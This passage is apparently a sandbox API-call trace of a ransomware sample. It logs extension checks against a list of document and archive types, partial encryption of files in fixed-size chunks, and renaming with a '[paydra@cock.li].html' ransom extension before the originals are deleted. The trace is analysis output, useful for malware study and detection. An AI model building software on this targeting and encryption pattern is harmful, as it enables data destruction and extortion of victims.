(lpString=".dbf") returned 4 [0061.497] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0061.497] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00445_.WMF") returned 63 [0061.499] lstrlenW (lpString=".1cd") returned 4 [0061.499] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0061.500] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00445_.WMF") returned 63 [0061.501] lstrlenW (lpString=".jpg") returned 4 [0061.502] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0062.475] GetFileSizeEx (in: hFile=0x240, lpFileSize=0x315ff1c | out: lpFileSize=0x315ff1c*=14996) returned 1 [0062.475] CloseHandle (hObject=0x240) returned 1 [0062.475] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01635_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01635_.wmf")) returned 0x20 [0062.475] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01635_.WMF.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01635_.wmf.id-9c354b42.[paydra@cock.li].html")) returned 0xffffffff [0062.475] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01635_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01635_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x240 [0062.475] SetFilePointerEx (in: hFile=0x240, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0062.475] SetFilePointerEx (in: hFile=0x240, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0062.475] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01635_.WMF.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01635_.wmf.id-9c354b42.[paydra@cock.li].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x154 [0062.476] GetLastError () returned 0x0 [0062.476] ReadFile (in: hFile=0x240, lpBuffer=0x3c80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c80020*, lpNumberOfBytesRead=0x315fed4*=0x3a94, lpOverlapped=0x0) returned 1 [0062.552] WriteFile (in: hFile=0x154, lpBuffer=0x3c80020*, nNumberOfBytesToWrite=0x3aa0, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c80020*, lpNumberOfBytesWritten=0x315fc9c*=0x3aa0, lpOverlapped=0x0) returned 1 [0062.553] ReadFile (in: hFile=0x240, lpBuffer=0x3c80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c80020*, lpNumberOfBytesRead=0x315fed4*=0x0, lpOverlapped=0x0) returned 1 [0062.553] WriteFile (in: hFile=0x154, lpBuffer=0x3c80020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c80020*, lpNumberOfBytesWritten=0x315fc9c*=0xec, lpOverlapped=0x0) returned 1 [0062.554] SetEndOfFile (hFile=0x154) returned 1 [0062.554] CloseHandle (hObject=0x154) returned 1 [0062.554] SetFilePointerEx (in: hFile=0x240, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0062.554] SetEndOfFile (hFile=0x240) returned 1 [0062.555] CloseHandle (hObject=0x240) returned 1 [0062.555] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01635_.WMF.id-9C354B42.[paydra@cock.li].html", dwFileAttributes=0x20) returned 1 [0062.555] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01635_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01635_.wmf")) Thread: id = 16 os_tid = 0x9f4 [0032.699] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x10000) returned 0x38c06b0 [0032.700] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x10000) returned 0x38d06b8 [0032.700] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x10) returned 0x5003c0 [0032.700] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x6) returned 0x5030e0 [0032.700] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x10) returned 0x5003d8 [0032.700] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x100000) returned 0x3d90020 [0032.700] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x10) returned 0x5003f0 [0032.700] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x5003f0, Size=0x20) returned 0x4e5c78 [0032.701] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x10) returned 0x5003f0 [0032.701] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x5003f0, Size=0x20) returned 0x4e5ca0 [0032.701] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x76c20000 [0032.701] GetProcAddress (hModule=0x76c20000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x76c4d650 [0032.701] Wow64DisableWow64FsRedirection (in: OldValue=0x329ff58 | out: OldValue=0x329ff58*=0x0) returned 1 [0032.701] lstrlenW (lpString="kernel32.dll") returned 12 [0032.701] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x4e5c78 | out: hHeap=0x4b0000) returned 1 [0032.701] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0032.701] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x4e5ca0 | out: hHeap=0x4b0000) returned 1 [0032.701] Sleep (dwMilliseconds=0x64) [0033.002] Sleep (dwMilliseconds=0x64) [0033.574] lstrcmpiW (lpString1=".LOG2", lpString2=".html") returned 1 [0033.575] lstrlenW (lpString="BCD.LOG2") returned 8 [0033.575] CreateFileW (lpFileName="C:\\Boot\\BCD.LOG2" (normalized: "c:\\boot\\bcd.log2"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0033.654] GetFileSizeEx (in: hFile=0x180, lpFileSize=0x329ff1c | out: lpFileSize=0x329ff1c*=0) returned 1 [0033.654] CloseHandle (hObject=0x180) returned 1 [0033.654] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16 [0033.654] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16 [0033.654] lstrlenW (lpString=".doc") returned 4 [0033.654] lstrcmpiW (lpString1=".doc", lpString2="LOG2") returned -1 [0033.654] lstrlenW (lpString=".docx") returned 5 [0033.654] lstrcmpiW (lpString1=".docx", lpString2=".LOG2") returned -1 [0033.654] lstrlenW (lpString=".pdf") returned 4 [0033.654] lstrcmpiW (lpString1=".pdf", lpString2="LOG2") returned -1 [0033.654] lstrlenW (lpString=".xls") returned 4 [0033.654] lstrcmpiW (lpString1=".xls", lpString2="LOG2") returned -1 [0033.654] lstrlenW (lpString=".xlsx") returned 5 [0033.654] lstrcmpiW (lpString1=".xlsx", lpString2=".LOG2") returned 1 [0033.654] lstrlenW (lpString=".ppt") returned 4 [0033.654] lstrcmpiW (lpString1=".ppt", lpString2="LOG2") returned -1 [0033.654] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16 [0033.654] lstrlenW (lpString=".zip") returned 4 [0033.654] lstrcmpiW (lpString1=".zip", lpString2="LOG2") returned -1 [0033.654] lstrlenW (lpString=".rar") returned 4 [0033.654] lstrcmpiW (lpString1=".rar", lpString2="LOG2") returned -1 [0033.654] lstrlenW (lpString=".bz2") returned 4 [0033.654] lstrcmpiW (lpString1=".bz2", lpString2="LOG2") returned -1 [0033.654] lstrlenW (lpString=".7z") returned 3 [0033.655] lstrcmpiW (lpString1=".7z", lpString2="OG2") returned -1 [0033.655] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16 [0033.655] lstrlenW (lpString=".dbf") returned 4 [0033.655] lstrcmpiW (lpString1=".dbf", lpString2="LOG2") returned -1 [0033.655] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16 [0033.655] lstrlenW (lpString=".1cd") returned 4 [0033.655] lstrcmpiW (lpString1=".1cd", lpString2="LOG2") returned -1 [0033.655] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16 [0033.655] lstrlenW (lpString=".jpg") returned 4 [0033.655] lstrcmpiW (lpString1=".jpg", lpString2="LOG2") returned -1 [0033.655] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16 [0033.655] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16 [0033.655] lstrlenW (lpString=".doc") returned 4 [0033.655] lstrcmpiW (lpString1=".doc", lpString2="LOG2") returned -1 [0033.655] lstrlenW (lpString=".docx") returned 5 [0033.655] lstrcmpiW (lpString1=".docx", lpString2=".LOG2") returned -1 [0033.655] lstrlenW (lpString=".pdf") returned 4 [0033.655] lstrcmpiW (lpString1=".pdf", lpString2="LOG2") returned -1 [0033.655] lstrlenW (lpString=".xls") returned 4 [0033.655] lstrcmpiW (lpString1=".xls", lpString2="LOG2") returned -1 [0033.655] lstrlenW (lpString=".xlsx") returned 5 [0033.655] lstrcmpiW (lpString1=".xlsx", lpString2=".LOG2") returned 1 [0033.655] lstrlenW (lpString=".ppt") returned 4 [0033.655] lstrcmpiW (lpString1=".ppt", lpString2="LOG2") returned -1 [0033.655] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16 [0033.655] lstrlenW (lpString=".zip") returned 4 [0033.655] lstrcmpiW (lpString1=".zip", lpString2="LOG2") returned -1 [0033.655] lstrlenW (lpString=".rar") returned 4 [0033.655] lstrcmpiW (lpString1=".rar", lpString2="LOG2") returned -1 [0033.655] lstrlenW (lpString=".bz2") returned 4 [0033.655] lstrcmpiW (lpString1=".bz2", lpString2="LOG2") returned -1 [0033.655] lstrlenW (lpString=".7z") returned 3 [0033.655] lstrcmpiW (lpString1=".7z", lpString2="OG2") returned -1 [0033.655] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16 [0033.656] lstrlenW (lpString=".dbf") returned 4 [0033.656] lstrcmpiW (lpString1=".dbf", lpString2="LOG2") returned -1 [0033.656] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16 [0033.656] lstrlenW (lpString=".1cd") returned 4 [0033.656] lstrcmpiW (lpString1=".1cd", lpString2="LOG2") returned -1 [0033.656] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16 [0033.656] lstrlenW (lpString=".jpg") returned 4 [0033.656] lstrcmpiW (lpString1=".jpg", lpString2="LOG2") returned -1 [0033.656] Sleep (dwMilliseconds=0x64) [0033.921] lstrcmpiW (lpString1=".msi", lpString2=".html") returned 1 [0033.921] lstrlenW (lpString="PowerPointMUI.msi") returned 17 [0033.921] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\powerpointmui.msi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x18c [0033.922] GetFileSizeEx (in: hFile=0x18c, lpFileSize=0x329ff1c | out: lpFileSize=0x329ff1c*=2503680) returned 1 [0033.922] CloseHandle (hObject=0x18c) returned 1 [0033.922] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\powerpointmui.msi")) returned 0x2020 [0033.922] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.msi.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\powerpointmui.msi.id-9c354b42.[paydra@cock.li].html")) returned 0xffffffff [0033.922] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\powerpointmui.msi"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.msi.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\powerpointmui.msi.id-9c354b42.[paydra@cock.li].html")) returned 1 [0033.923] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.msi.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\powerpointmui.msi.id-9c354b42.[paydra@cock.li].html"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x18c [0033.923] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x329fc6c | out: lpNewFilePointer=0x0) returned 1 [0033.923] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x329fc2c | out: lpNewFilePointer=0x0) returned 1 [0033.923] ReadFile (in: hFile=0x18c, lpBuffer=0x3d90058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x329fc38, lpOverlapped=0x0 | out: lpBuffer=0x3d90058*, lpNumberOfBytesRead=0x329fc38*=0x40000, lpOverlapped=0x0) returned 1 [0033.931] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0xcbc00, lpNewFilePointer=0x0, dwMoveMethod=0x329fc2c | out: lpNewFilePointer=0x0) returned 1 [0033.931] ReadFile (in: hFile=0x18c, lpBuffer=0x3dd0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x329fc38, lpOverlapped=0x0 | out: lpBuffer=0x3dd0058*, lpNumberOfBytesRead=0x329fc38*=0x40000, lpOverlapped=0x0) returned 1 [0033.944] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x329fc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0033.944] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0x223400, lpNewFilePointer=0x0, dwMoveMethod=0x329fc2c | out: lpNewFilePointer=0x0) returned 1 [0033.944] ReadFile (in: hFile=0x18c, lpBuffer=0x3e10058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x329fc38, lpOverlapped=0x0 | out: lpBuffer=0x3e10058*, lpNumberOfBytesRead=0x329fc38*=0x40000, lpOverlapped=0x0) returned 1 [0034.045] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x329fec8 | out: lpNewFilePointer=0x0) returned 1 [0034.045] WriteFile (in: hFile=0x18c, lpBuffer=0x3d90020*, nNumberOfBytesToWrite=0xc010e, lpNumberOfBytesWritten=0x329fcb0, lpOverlapped=0x0 | out: lpBuffer=0x3d90020*, lpNumberOfBytesWritten=0x329fcb0*=0xc010e, lpOverlapped=0x0) returned 1 [0034.062] SetEndOfFile (hFile=0x18c) returned 1 [0034.156] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x40000) returned 0x3f51090 [0034.198] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x329fc7c | out: lpNewFilePointer=0x0) returned 1 [0034.198] WriteFile (in: hFile=0x18c, lpBuffer=0x3f51090*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x329fc88, lpOverlapped=0x0 | out: lpBuffer=0x3f51090*, lpNumberOfBytesWritten=0x329fc88*=0x40000, lpOverlapped=0x0) returned 1 [0034.199] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0xcbc00, lpNewFilePointer=0x0, dwMoveMethod=0x329fc7c | out: lpNewFilePointer=0x0) returned 1 [0034.199] WriteFile (in: hFile=0x18c, lpBuffer=0x3f51090*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x329fc88, lpOverlapped=0x0 | out: lpBuffer=0x3f51090*, lpNumberOfBytesWritten=0x329fc88*=0x40000, lpOverlapped=0x0) returned 1 [0034.205] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0x223400, lpNewFilePointer=0x0, dwMoveMethod=0x329fc7c | out: lpNewFilePointer=0x0) returned 1 [0034.205] WriteFile (in: hFile=0x18c, lpBuffer=0x3f51090*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x329fc88, lpOverlapped=0x0 | out: lpBuffer=0x3f51090*, lpNumberOfBytesWritten=0x329fc88*=0x40000, lpOverlapped=0x0) returned 1 [0034.208] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3f51090 | out: hHeap=0x4b0000) returned 1 [0034.208] CloseHandle (hObject=0x18c) returned 1 [0034.817] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.msi.id-9C354B42.[paydra@cock.li].html", dwFileAttributes=0x2020) returned 1 [0034.817] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.msi") returned 80 [0034.817] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.msi") returned 80 [0034.817] lstrlenW (lpString=".doc") returned 4 [0034.817] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0034.817] lstrlenW (lpString=".docx") returned 5 [0034.817] lstrcmpiW (lpString1=".docx", lpString2="I.msi") returned -1 [0034.818] lstrlenW (lpString=".pdf") returned 4 [0034.818] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0034.818] lstrlenW (lpString=".xls") returned 4 [0034.818] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0034.818] lstrlenW (lpString=".xlsx") returned 5 [0034.818] lstrcmpiW (lpString1=".xlsx", lpString2="I.msi") returned -1 [0034.818] lstrlenW (lpString=".ppt") returned 4 [0034.818] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0034.818] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.msi") returned 80 [0034.818] lstrlenW (lpString=".zip") returned 4 [0034.818] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0034.818] lstrlenW (lpString=".rar") returned 4 [0034.818] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0034.818] lstrlenW (lpString=".bz2") returned 4 [0034.818] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0034.818] lstrlenW (lpString=".7z") returned 3 [0034.818] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0034.818] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.msi") returned 80 [0034.818] lstrlenW (lpString=".dbf") returned 4 [0034.818] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0034.818] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.msi") returned 80 [0034.818] lstrlenW (lpString=".1cd") returned 4 [0034.818] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0034.818] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.msi") returned 80 [0034.818] lstrlenW (lpString=".jpg") returned 4 [0034.818] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0034.818] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.msi") returned 80 [0034.818] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.msi") returned 80 [0034.818] lstrlenW (lpString=".doc") returned 4 [0034.818] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0034.818] lstrlenW (lpString=".docx") returned 5 [0034.818] lstrcmpiW (lpString1=".docx", lpString2="I.msi") returned -1 [0034.818] lstrlenW (lpString=".pdf") returned 4 [0034.818] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0034.819] lstrlenW (lpString=".xls") returned 4 [0034.819] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0034.819] lstrlenW (lpString=".xlsx") returned 5 [0034.819] lstrcmpiW (lpString1=".xlsx", lpString2="I.msi") returned -1 [0034.819] lstrlenW (lpString=".ppt") returned 4 [0034.819] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0034.819] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.msi") returned 80 [0034.819] lstrlenW (lpString=".zip") returned 4 [0034.819] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0034.819] lstrlenW (lpString=".rar") returned 4 [0034.819] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0034.819] lstrlenW (lpString=".bz2") returned 4 [0034.819] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0034.819] lstrlenW (lpString=".7z") returned 3 [0034.819] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0034.819] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.msi") returned 80 [0034.819] lstrlenW (lpString=".dbf") returned 4 [0034.819] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0034.819] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.msi") returned 80 [0034.819] lstrlenW (lpString=".1cd") returned 4 [0034.819] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0034.819] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.msi") returned 80 [0034.819] lstrlenW (lpString=".jpg") returned 4 [0034.819] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0034.820] lstrcmpiW (lpString1=".msi", lpString2=".html") returned 1 [0034.820] lstrlenW (lpString="PublisherMUI.msi") returned 16 [0034.820] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\publishermui.msi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x18c [0034.820] GetFileSizeEx (in: hFile=0x18c, lpFileSize=0x329ff1c | out: lpFileSize=0x329ff1c*=2513920) returned 1 [0034.820] CloseHandle (hObject=0x18c) returned 1 [0034.820] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\publishermui.msi")) returned 0x2020 [0034.820] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.msi.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\publishermui.msi.id-9c354b42.[paydra@cock.li].html")) returned 0xffffffff [0034.820] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\publishermui.msi"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.msi.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\publishermui.msi.id-9c354b42.[paydra@cock.li].html")) returned 1 [0034.821] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.msi.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\publishermui.msi.id-9c354b42.[paydra@cock.li].html"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x18c [0034.821] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x329fc6c | out: lpNewFilePointer=0x0) returned 1 [0034.821] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x329fc2c | out: lpNewFilePointer=0x0) returned 1 [0034.821] ReadFile (in: hFile=0x18c, lpBuffer=0x3d90058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x329fc38, lpOverlapped=0x0 | out: lpBuffer=0x3d90058*, lpNumberOfBytesRead=0x329fc38*=0x40000, lpOverlapped=0x0) returned 1 [0034.824] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0xcc955, lpNewFilePointer=0x0, dwMoveMethod=0x329fc2c | out: lpNewFilePointer=0x0) returned 1 [0034.825] ReadFile (in: hFile=0x18c, lpBuffer=0x3dd0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x329fc38, lpOverlapped=0x0 | out: lpBuffer=0x3dd0058*, lpNumberOfBytesRead=0x329fc38*=0x40000, lpOverlapped=0x0) returned 1 [0034.835] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x329fc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0034.835] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0x225c00, lpNewFilePointer=0x0, dwMoveMethod=0x329fc2c | out: lpNewFilePointer=0x0) returned 1 [0034.835] ReadFile (in: hFile=0x18c, lpBuffer=0x3e10058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x329fc38, lpOverlapped=0x0 | out: lpBuffer=0x3e10058*, lpNumberOfBytesRead=0x329fc38*=0x40000, lpOverlapped=0x0) returned 1 [0034.849] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x329fec8 | out: lpNewFilePointer=0x0) returned 1 [0034.849] WriteFile (in: hFile=0x18c, lpBuffer=0x3d90020*, nNumberOfBytesToWrite=0xc010c, lpNumberOfBytesWritten=0x329fcb0, lpOverlapped=0x0 | out: lpBuffer=0x3d90020*, lpNumberOfBytesWritten=0x329fcb0*=0xc010c, lpOverlapped=0x0) returned 1 [0035.287] SetEndOfFile (hFile=0x18c) returned 1 [0035.287] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x40000) returned 0x3f41088 [0035.287] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x329fc7c | out: lpNewFilePointer=0x0) returned 1 [0035.287] WriteFile (in: hFile=0x18c, lpBuffer=0x3f41088*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x329fc88, lpOverlapped=0x0 | out: lpBuffer=0x3f41088*, lpNumberOfBytesWritten=0x329fc88*=0x40000, lpOverlapped=0x0) returned 1 [0035.289] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0xcc955, lpNewFilePointer=0x0, dwMoveMethod=0x329fc7c | out: lpNewFilePointer=0x0) returned 1 [0035.289] WriteFile (in: hFile=0x18c, lpBuffer=0x3f41088*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x329fc88, lpOverlapped=0x0 | out: lpBuffer=0x3f41088*, 